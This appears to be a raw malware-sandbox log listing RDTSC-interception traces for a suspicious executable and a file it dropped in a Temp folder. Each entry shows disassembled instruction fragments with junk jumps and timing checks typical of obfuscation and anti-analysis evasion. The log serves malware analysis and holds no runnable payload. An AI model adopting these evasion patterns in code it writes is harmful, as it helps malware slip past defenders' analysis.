Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90952 second address: 4D9099D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, esi 0x00000008 jmp 00007FD2956E162Fh 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 mov cx, dx 0x00000014 pushfd 0x00000015 jmp 00007FD2956E1637h 0x0000001a jmp 00007FD2956E1633h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D9099D second address: 4D80084 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 leave 0x0000000a jmp 00007FD29532965Eh 0x0000000f retn 0004h 0x00000012 nop 0x00000013 sub esp, 04h 0x00000016 xor ebx, ebx 0x00000018 cmp eax, 00000000h 0x0000001b je 00007FD2953297BAh 0x00000021 mov dword ptr [esp], 0000000Dh 0x00000028 call 00007FD299C657F1h 0x0000002d mov edi, edi 0x0000002f pushad 0x00000030 jmp 00007FD29532965Eh 0x00000035 mov edi, eax 0x00000037 popad 0x00000038 xchg eax, ebp 0x00000039 jmp 00007FD29532965Ch 0x0000003e push eax 0x0000003f jmp 00007FD29532965Bh 0x00000044 xchg eax, ebp 0x00000045 pushad 0x00000046 mov dh, ch 0x00000048 pushfd 0x00000049 jmp 00007FD295329661h 0x0000004e jmp 00007FD29532965Bh 0x00000053 popfd 0x00000054 popad 0x00000055 mov ebp, esp 0x00000057 jmp 00007FD295329666h 0x0000005c sub esp, 2Ch 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007FD295329667h 0x00000066 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80084 second address: 4D80125 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1639h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b mov ecx, 750D88D3h 0x00000010 pushfd 0x00000011 jmp 00007FD2956E1638h 0x00000016 jmp 00007FD2956E1635h 0x0000001b popfd 0x0000001c popad 0x0000001d push eax 0x0000001e jmp 00007FD2956E1631h 0x00000023 xchg eax, ebx 0x00000024 jmp 00007FD2956E162Eh 0x00000029 xchg eax, edi 0x0000002a pushad 0x0000002b mov cl, 1Bh 0x0000002d push eax 0x0000002e push edx 0x0000002f pushfd 0x00000030 jmp 00007FD2956E1639h 0x00000035 jmp 00007FD2956E162Bh 0x0000003a popfd 0x0000003b rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80125 second address: 4D8014A instructions: 0x00000000 rdtsc 0x00000002 mov di, ax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 popad 0x00000008 push eax 0x00000009 jmp 00007FD295329665h 0x0000000e xchg eax, edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D8014A second address: 4D8015D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E162Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80199 second address: 4D80257 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329660h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub edi, edi 0x0000000b pushad 0x0000000c mov cx, dx 0x0000000f pushfd 0x00000010 jmp 00007FD295329663h 0x00000015 add ch, 0000000Eh 0x00000018 jmp 00007FD295329669h 0x0000001d popfd 0x0000001e popad 0x0000001f inc ebx 0x00000020 pushad 0x00000021 pushfd 0x00000022 jmp 00007FD29532965Ch 0x00000027 or cl, FFFFFF88h 0x0000002a jmp 00007FD29532965Bh 0x0000002f popfd 0x00000030 mov edx, esi 0x00000032 popad 0x00000033 test al, al 0x00000035 pushad 0x00000036 pushfd 0x00000037 jmp 00007FD295329667h 0x0000003c sub esi, 6AA9277Eh 0x00000042 jmp 00007FD295329669h 0x00000047 popfd 0x00000048 popad 0x00000049 je 00007FD295329828h 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007FD29532965Dh 0x00000056 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80257 second address: 4D802B3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 0Bh 0x00000005 movzx esi, dx 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea ecx, dword ptr [ebp-14h] 0x0000000e jmp 00007FD2956E162Bh 0x00000013 mov dword ptr [ebp-14h], edi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov di, 9B16h 0x0000001d pushfd 0x0000001e jmp 00007FD2956E1637h 0x00000023 add eax, 554EF79Eh 0x00000029 jmp 00007FD2956E1639h 0x0000002e popfd 0x0000002f popad 0x00000030 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80313 second address: 4D80322 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push ecx 0x00000004 pop ebx 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c movzx ecx, bx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80384 second address: 4D8038A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D8038A second address: 4D8038E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D8038E second address: 4D80405 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E162Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jg 00007FD30657F711h 0x00000011 pushad 0x00000012 push ecx 0x00000013 mov si, di 0x00000016 pop edi 0x00000017 mov dx, cx 0x0000001a popad 0x0000001b js 00007FD2956E1689h 0x00000021 jmp 00007FD2956E162Eh 0x00000026 cmp dword ptr [ebp-14h], edi 0x00000029 pushad 0x0000002a mov edi, esi 0x0000002c pushfd 0x0000002d jmp 00007FD2956E162Ah 0x00000032 sbb ax, 2168h 0x00000037 jmp 00007FD2956E162Bh 0x0000003c popfd 0x0000003d popad 0x0000003e jne 00007FD30657F6D9h 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007FD2956E1635h 0x0000004b rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80405 second address: 4D80473 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329661h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+08h] 0x0000000c jmp 00007FD29532965Eh 0x00000011 lea eax, dword ptr [ebp-2Ch] 0x00000014 jmp 00007FD295329660h 0x00000019 xchg eax, esi 0x0000001a jmp 00007FD295329660h 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FD29532965Ch 0x00000029 sub cl, FFFFFFB8h 0x0000002c jmp 00007FD29532965Bh 0x00000031 popfd 0x00000032 movzx eax, di 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80473 second address: 4D80490 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1632h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80490 second address: 4D80494 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80494 second address: 4D80498 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80498 second address: 4D8049E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D8049E second address: 4D804A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D804A4 second address: 4D804CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 jmp 00007FD29532965Ah 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FD29532965Ch 0x00000017 mov ch, 1Ah 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D804CA second address: 4D804FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E162Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FD2956E1630h 0x0000000f xchg eax, ebx 0x00000010 pushad 0x00000011 mov ecx, 63D4E2DDh 0x00000016 call 00007FD2956E162Ah 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D804FE second address: 4D8052D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 jmp 00007FD29532965Eh 0x0000000c xchg eax, ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD295329667h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80558 second address: 4D707B0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD2956E1637h 0x00000009 or eax, 344FA26Eh 0x0000000f jmp 00007FD2956E1639h 0x00000014 popfd 0x00000015 call 00007FD2956E1630h 0x0000001a pop eax 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e test esi, esi 0x00000020 jmp 00007FD2956E1631h 0x00000025 je 00007FD30657F6C1h 0x0000002b xor eax, eax 0x0000002d jmp 00007FD2956BAD5Ah 0x00000032 pop esi 0x00000033 pop edi 0x00000034 pop ebx 0x00000035 leave 0x00000036 retn 0004h 0x00000039 nop 0x0000003a sub esp, 04h 0x0000003d mov esi, eax 0x0000003f xor ebx, ebx 0x00000041 cmp esi, 00000000h 0x00000044 je 00007FD2956E1765h 0x0000004a call 00007FD29A00DE14h 0x0000004f mov edi, edi 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D707B0 second address: 4D707B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D707B4 second address: 4D707B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D707B8 second address: 4D707BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D707BE second address: 4D707D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2956E1634h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D707D6 second address: 4D7085D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 pushad 0x0000000a movzx esi, bx 0x0000000d pushfd 0x0000000e jmp 00007FD29532965Fh 0x00000013 adc cx, F5EEh 0x00000018 jmp 00007FD295329669h 0x0000001d popfd 0x0000001e popad 0x0000001f mov dword ptr [esp], ebp 0x00000022 pushad 0x00000023 mov ax, B213h 0x00000027 pushfd 0x00000028 jmp 00007FD295329668h 0x0000002d adc cl, FFFFFF98h 0x00000030 jmp 00007FD29532965Bh 0x00000035 popfd 0x00000036 popad 0x00000037 mov ebp, esp 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007FD295329665h 0x00000040 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D7085D second address: 4D7087F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, eax 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 pushad 0x0000000a mov eax, edx 0x0000000c popad 0x0000000d push eax 0x0000000e jmp 00007FD2956E162Ah 0x00000013 xchg eax, ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 push ebx 0x00000018 pop esi 0x00000019 mov si, di 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D808C1 second address: 4D808DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329669h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D808DE second address: 4D808E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D808E4 second address: 4D80948 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329663h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007FD295329666h 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 mov ecx, 1EFC05B3h 0x0000001a pushfd 0x0000001b jmp 00007FD295329668h 0x00000020 and ax, 0FB8h 0x00000025 jmp 00007FD29532965Bh 0x0000002a popfd 0x0000002b popad 0x0000002c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80948 second address: 4D8094F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ah, bl 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D8094F second address: 4D809AF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 push esi 0x0000000a pushfd 0x0000000b jmp 00007FD295329669h 0x00000010 sbb ah, 00000006h 0x00000013 jmp 00007FD295329661h 0x00000018 popfd 0x00000019 pop ecx 0x0000001a mov cx, di 0x0000001d popad 0x0000001e mov ebp, esp 0x00000020 jmp 00007FD295329663h 0x00000025 cmp dword ptr [75C7459Ch], 05h 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 push eax 0x00000031 push edx 0x00000032 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D809AF second address: 4D809B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D809B3 second address: 4D809CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD295329667h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D809CE second address: 4D809D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D809D4 second address: 4D809D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D809D8 second address: 4D809FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FD30656F645h 0x0000000e pushad 0x0000000f push ebx 0x00000010 mov esi, 3242236Fh 0x00000015 pop eax 0x00000016 mov bx, 4068h 0x0000001a popad 0x0000001b pop ebp 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D809FA second address: 4D809FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D809FE second address: 4D80A16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1634h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80A67 second address: 4D80A84 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, ax 0x00000006 jmp 00007FD29532965Ch 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e sub esi, esi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80A84 second address: 4D80A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80A88 second address: 4D80A8E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80AA9 second address: 4D80AC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1634h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D80AC1 second address: 4D80AF6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD29532965Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test al, al 0x0000000b jmp 00007FD295329666h 0x00000010 je 00007FD3061AD4F3h 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 mov eax, 2962D433h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90A07 second address: 4D90A0D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90A0D second address: 4D90A11 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90A11 second address: 4D90A47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007FD2956E162Bh 0x00000012 add ch, FFFFFFBEh 0x00000015 jmp 00007FD2956E1639h 0x0000001a popfd 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90A47 second address: 4D90A5E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD295329663h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90A5E second address: 4D90A98 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FD2956E1635h 0x0000000e mov ebp, esp 0x00000010 pushad 0x00000011 mov dx, 1C2Eh 0x00000015 popad 0x00000016 push esp 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FD2956E1631h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90A98 second address: 4D90AA8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD29532965Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90AA8 second address: 4D90AAC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90AAC second address: 4D90AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], esi 0x0000000b pushad 0x0000000c mov dl, 45h 0x0000000e push eax 0x0000000f pushad 0x00000010 popad 0x00000011 pop ebx 0x00000012 popad 0x00000013 mov esi, dword ptr [ebp+0Ch] 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90AC7 second address: 4D90ACB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90ACB second address: 4D90B14 instructions: 0x00000000 rdtsc 0x00000002 call 00007FD295329668h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b push esi 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f test esi, esi 0x00000011 jmp 00007FD295329669h 0x00000016 je 00007FD3061A6F05h 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 popad 0x00000022 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90B14 second address: 4D90B27 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E162Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90B27 second address: 4D90BCC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD29532965Fh 0x00000009 add ax, DF0Eh 0x0000000e jmp 00007FD295329669h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007FD295329660h 0x0000001a sbb cx, 0588h 0x0000001f jmp 00007FD29532965Bh 0x00000024 popfd 0x00000025 popad 0x00000026 pop edx 0x00000027 pop eax 0x00000028 cmp dword ptr [75C7459Ch], 05h 0x0000002f jmp 00007FD295329666h 0x00000034 je 00007FD3061BEF52h 0x0000003a jmp 00007FD295329660h 0x0000003f xchg eax, esi 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 pushad 0x00000044 popad 0x00000045 call 00007FD295329663h 0x0000004a pop esi 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90BCC second address: 4D90BF7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, di 0x00000006 call 00007FD2956E1631h 0x0000000b pop esi 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FD2956E162Dh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90C3F second address: 4D90C49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov eax, 03CE5E7Bh 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90C49 second address: 4D90CB1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD2956E1631h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a pushad 0x0000000b call 00007FD2956E162Ch 0x00000010 mov ebx, esi 0x00000012 pop esi 0x00000013 mov dl, 73h 0x00000015 popad 0x00000016 push eax 0x00000017 pushad 0x00000018 pushfd 0x00000019 jmp 00007FD2956E1632h 0x0000001e sbb ax, E958h 0x00000023 jmp 00007FD2956E162Bh 0x00000028 popfd 0x00000029 popad 0x0000002a xchg eax, esi 0x0000002b push eax 0x0000002c push edx 0x0000002d jmp 00007FD2956E1635h 0x00000032 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90CE9 second address: 4D90CED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90CED second address: 4D90CF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90CF3 second address: 4D90D49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FD29532965Ch 0x00000009 xor si, 1878h 0x0000000e jmp 00007FD29532965Bh 0x00000013 popfd 0x00000014 jmp 00007FD295329668h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c pop ebp 0x0000001d push eax 0x0000001e push edx 0x0000001f jmp 00007FD295329667h 0x00000024 rdtsc
Source: C:\Users\user\Desktop\Idau8QuYa3.exe	RDTSC instruction interceptor: First address: 4D90D49 second address: 4D90D61 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD2956E1634h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C5ED3 second address: 11C5EEA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007FD295329662h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C4E61 second address: 11C4E65 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C4E65 second address: 11C4E6B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1NOXIMLR48PMTW843DD15CVQV9KVD.exe	RDTSC instruction interceptor: First address: 11C4E6B second address: 11C4E71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
